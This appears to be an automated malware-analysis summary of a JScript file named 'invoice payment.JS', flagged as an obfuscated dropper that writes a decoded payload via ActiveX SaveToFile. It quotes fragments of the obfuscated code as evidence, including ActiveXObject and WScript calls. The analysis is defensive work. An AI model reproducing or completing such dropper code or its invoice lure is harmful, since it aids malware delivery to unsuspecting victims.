invoice payment.JS
Obfuscated dropper with file write
Layered JavaScript obfuscation hides a decoded WSH payload writeObfuscated JScript invokes ActiveX SaveToFile
SHA-256d20de63c153327fdaef5073fd50edb815da7a908321da9f1f8edaba662b4b563
MaleculeO₂(As₃Xe)H₄(DbF₂OsPo)
Evidence
⋯5 lines
411 'RjRtF',
412 'hhbpD',
413 'nodeTypedValue',
414 '0x151',
415 'kIXLA',
⋯13 lines
1521:11… if (_0x5610d4 === _0x160a4c) {
1522 break;
1523 } else {
1524 _0x2dcda3['push'](_0x2dcda3['shift']());
1525 }
1526 } catch (_0x4407b5) {
⋯5 lines
1684:9… 'PCERM': QDPYMNKULGYMVHFJKHH(0x471),
1685 'YNiwA': '0xa3',
1686 'HqVOM': QDPYMNKULGYMVHFJKHH(0x525),
1687 'rSVmf': 'SaveToFile',
1688 'shpUP': '0x27',
1689 'FlSwP': QDPYMNKULGYMVHFJKHH(0x610),
⋯5 lines
2786:2… var _0x1838cf = _0x94ce38['HpaFx'](_0x2518), _0x7d158a = _0x1838cf[_0x5b092e];
2787 return _0x7d158a;
2788}
2789var MNHHCRXTUIOP = new ActiveXObject(MNHHTUIOP);
2790function QDPYMNKULGYMVHFJCX(_0x239a3c) {
2791 var _0xb6f351 = QDPYMNKULGYMVHFJKHHHHH;
⋯5 lines
3260:8… _0x410203 += _0x1acb4b[_0x355581(0x636)](_0x30a4b7, 0x35 * -0xa1 + -0xc * 0x1fd + -0x62 * -0x9d);
3261 }
3262 var scriptName = WScript[QDPYMNKULGYMVHFJKLPPPP(QDPYMNKULGYMVHFJKLPPPPP(-0xb * 0xc4 + -0x12f * 0x3 + 0xf0e), QDPYMNKULGYMVHFJKLPPPPP(-0x27 * -0xb5 + -0xd * 0x2e9 + -0xd0f * -0x1), -0x1 * -0x1375 + 0x226c + -0x34a2)];
3263 function QDPYMNKULGYMVHFJCX(_0x73f497) {
3264 var _0x1d …